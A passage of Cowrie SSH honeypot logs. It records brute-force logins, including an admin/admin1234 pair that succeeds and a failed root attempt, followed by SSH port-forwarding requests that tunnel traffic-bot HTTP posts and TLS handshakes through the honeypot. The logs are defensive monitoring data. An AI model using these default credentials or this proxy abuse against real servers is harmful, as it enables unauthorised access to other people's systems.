N\\x8f\\x0f\\xf2$\\x858\\xbb\\xbe7>\\xd27\\x00F;E\\x85\\x83\\xd5\\xf6\\xe1\\xd4\\xe1]\\xdfN\\xa4\\xcc\\x12hE\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03d//hJ\\xab\\x12\\xe8sI\\xc5\\x85\\xec\\x8b\\xd3\\xec\\x9b\\xb9^\\x14\\xad\\xf2\\xca\\xd8\\x8a~\\x12\\x00\\x12\\x04\\x04( \\xad\"\\xc9\\xcbp\\x9f\\xa4g\\xa9\\xc4\\xe1b\\xa5\\xf6:\\xf2\\xaaA\\xd0\\xd1[sF5\\xec\\x06\\xe0\\x8dd\\xbe\\x95s\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 N\\x8f\\x0f\\xf2$\\x858\\xbb\\xbe7>\\xd27\\x00F;E\\x85\\x83\\xd5\\xf6\\xe1\\xd4\\xe1]\\xdfN\\xa4\\xcc\\x12hE\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:32.555074Z","src_ip":"123.27.168.40","session":"3cc8abf7cf96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:32.890924Z","src_ip":"123.27.168.40","session":"3cc8abf7cf96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":57738,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b992eeccd07","protocol":"ssh","message":"New connection: 123.27.168.40:57738 (10.17.0.5:22) [session: 9b992eeccd07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:33.077737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:33.081689Z","src_ip":"123.27.168.40","session":"9b992eeccd07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:33.325455Z","src_ip":"123.27.168.40","session":"9b992eeccd07","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:34.441364Z","src_ip":"123.27.168.40","session":"9b992eeccd07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:34.835645Z","session":"9b992eeccd07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:35.356407Z","src_ip":"123.27.168.40","session":"9b992eeccd07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.66 Mobile/14A551 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=el80WEd9dll3T2Y%2BI08wMg%3D%3D6kC7MnKnv84qHoEj73zk0XhvdKhC3nz6VjmA84vsJS0ops5NPL51mkn1uLqKNUcwybgqRlr6iTSE1Nip3%2By4oAJdQcvIO9QWGbxnPFYIBW5aXgPisLRMxqI9b%2FO102XNaTavVwNgsRaQ5%2BS%2FHyiFapEJmN1VsYYc8Uv2VbxAPSkvxuB6ZoFw90MmBOM5fAtpSoxBWp1Gsb26919y3v4Xe441kD4R1sQvhTUX9hjm0ptvmcRLoEmUObwwPEUGVWnGx5L0DE2zNoghNshFFsuHs3V1shXWo9GDjRfgpQ%2BV7iv92WTU9YiGRlNSDyBycMfh%2Fx0jzzAJ0du4WTT9NWq%2BN2U4oxW2I0Wb3lJkY4KARZPcN4rnugXG7rhOUxIgEIVn1kzgsvtFwIqyfiWA4NqtI59an8n64TpFrhfi12EpRJi5Q%2BvGyfA1HHUif0YlsZlgK%2BHZSVpNiLcYVSrDg0xjGse9U36UAR881dfS%2FTAdkJ46uvoMLzYrVkBU9ldY4peOAk%2FRa9gYxfNPx8FHnz8vmtWxFUESrZmgzdiEMK7qTAzIiKNDrEAC%2FBd68DTAMeeoW7cbuitYdWzJmk485WVxbk4ZToZloTkVUTPbO%2FlIBGVNbQ%2BiyFPVYA%2FAfdbhdTedRD52XEa79tvnHReJfnkW4HiHfwNsZonBfaNi%2BY%2BQfKcfcOSedtELcuWv84tChhKwjreTBzGkVwm4PimXbS3gxSwzKrlJmU42%2FTKo2MluNhi2ipzXvkZmZFlsmMUkpLcOWHw%2FPCnHwmhPGNMB9qOyZhQp0eYcEFhSZsW8%2Bt50%2Bje%2F%2BWTO3d8uANpvBrAn%2B9D3LtRkUnBY2zKYyLTRPabSPoXAjRCBy3mYoyvhIxe0fiZV3Dw2xhsH3U33i1djnJyNsvY8CSe5VSb9PpsYgrTQKpWPsivSQz9h%2Fz8WXOC%2Bo9s5h1eZ2JybgZdTCDp4ZpjVKKGR%2FZlKyjX2xBsuEjBIcawRHr8BARbyvI%2BfcfI%2Bwfa2dHqSNYD4NXioMQTW9YvSu8cDqd%2BArw4d77X%2FJuVtEwzoLgs655J1tA1xadg3G8zsATDZkztv63FCGcQax8iL'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.66 Mobile/14A551 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=el80WEd9dll3T2Y%2BI08wMg%3D%3D6kC7MnKnv84qHoEj73zk0XhvdKhC3nz6VjmA84vsJS0ops5NPL51mkn1uLqKNUcwybgqRlr6iTSE1Nip3%2By4oAJdQcvIO9QWGbxnPFYIBW5aXgPisLRMxqI9b%2FO102XNaTavVwNgsRaQ5%2BS%2FHyiFapEJmN1VsYYc8Uv2VbxAPSkvxuB6ZoFw90MmBOM5fAtpSoxBWp1Gsb26919y3v4Xe441kD4R1sQvhTUX9hjm0ptvmcRLoEmUObwwPEUGVWnGx5L0DE2zNoghNshFFsuHs3V1shXWo9GDjRfgpQ%2BV7iv92WTU9YiGRlNSDyBycMfh%2Fx0jzzAJ0du4WTT9NWq%2BN2U4oxW2I0Wb3lJkY4KARZPcN4rnugXG7rhOUxIgEIVn1kzgsvtFwIqyfiWA4NqtI59an8n64TpFrhfi12EpRJi5Q%2BvGyfA1HHUif0YlsZlgK%2BHZSVpNiLcYVSrDg0xjGse9U36UAR881dfS%2FTAdkJ46uvoMLzYrVkBU9ldY4peOAk%2FRa9gYxfNPx8FHnz8vmtWxFUESrZmgzdiEMK7qTAzIiKNDrEAC%2FBd68DTAMeeoW7cbuitYdWzJmk485WVxbk4ZToZloTkVUTPbO%2FlIBGVNbQ%2BiyFPVYA%2FAfdbhdTedRD52XEa79tvnHReJfnkW4HiHfwNsZonBfaNi%2BY%2BQfKcfcOSedtELcuWv84tChhKwjreTBzGkVwm4PimXbS3gxSwzKrlJmU42%2FTKo2MluNhi2ipzXvkZmZFlsmMUkpLcOWHw%2FPCnHwmhPGNMB9qOyZhQp0eYcEFhSZsW8%2Bt50%2Bje%2F%2BWTO3d8uANpvBrAn%2B9D3LtRkUnBY2zKYyLTRPabSPoXAjRCBy3mYoyvhIxe0fiZV3Dw2xhsH3U33i1djnJyNsvY8CSe5VSb9PpsYgrTQKpWPsivSQz9h%2Fz8WXOC%2Bo9s5h1eZ2JybgZdTCDp4ZpjVKKGR%2FZlKyjX2xBsuEjBIcawRHr8BARbyvI%2BfcfI%2Bwfa2dHqSNYD4NXioMQTW9YvSu8cDqd%2BArw4d77X%2FJuVtEwzoLgs655J1tA1xadg3G8zsATDZkztv63FCGcQax8iL'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:35.359116Z","src_ip":"123.27.168.40","session":"9b992eeccd07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":42448,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f993b78f90a","protocol":"ssh","message":"New connection: 103.153.68.219:42448 (159.203.135.109:22) [session: 4f993b78f90a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:36.046226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:36.049782Z","src_ip":"103.153.68.219","session":"4f993b78f90a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:36.300475Z","src_ip":"103.153.68.219","session":"4f993b78f90a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"star1","message":"login attempt [root/star1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:37.056369Z","src_ip":"103.153.68.219","session":"4f993b78f90a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:38.314066Z","src_ip":"103.153.68.219","session":"4f993b78f90a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:39.383852Z","session":"9b992eeccd07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:39.615856Z","src_ip":"123.27.168.40","session":"9b992eeccd07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03;\\xdbM\\xa5\\xe1\\xb2\\x1f\\xdd\\xd0F:\\x14\\xb2\\x1b\\xef\\xc0\\x18\\x0eRni\\x99\\xf1\\xa7\\x1eY]\\xab\\xd6\\x1aT\\xd4 \\xad\\x8e\\x87\\x83F\\x9e\\x01\\xc9\\xb1ju\\xff\\xd6\\\\.+V#c\\xf6\\xe9\\xec\\xf7\\r\\xa4;\\xff\\x9b\\xb0\\n\\x9fb\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xddF2\\xb4\\x1a\\xd1\\x00\\x9ej>\\x9b\\xc0\\x00\\xce\\xb0F*\\xbe=\\xe7!\\xffr\\x0cCU\\x8f\\xb1a\\xe7\\xa3S\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03;\\xdbM\\xa5\\xe1\\xb2\\x1f\\xdd\\xd0F:\\x14\\xb2\\x1b\\xef\\xc0\\x18\\x0eRni\\x99\\xf1\\xa7\\x1eY]\\xab\\xd6\\x1aT\\xd4 \\xad\\x8e\\x87\\x83F\\x9e\\x01\\xc9\\xb1ju\\xff\\xd6\\\\.+V#c\\xf6\\xe9\\xec\\xf7\\r\\xa4;\\xff\\x9b\\xb0\\n\\x9fb\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xddF2\\xb4\\x1a\\xd1\\x00\\x9ej>\\x9b\\xc0\\x00\\xce\\xb0F*\\xbe=\\xe7!\\xffr\\x0cCU\\x8f\\xb1a\\xe7\\xa3S\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:39.619127Z","src_ip":"123.27.168.40","session":"9b992eeccd07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:39.854774Z","session":"9b992eeccd07","protocol":"ssh"}
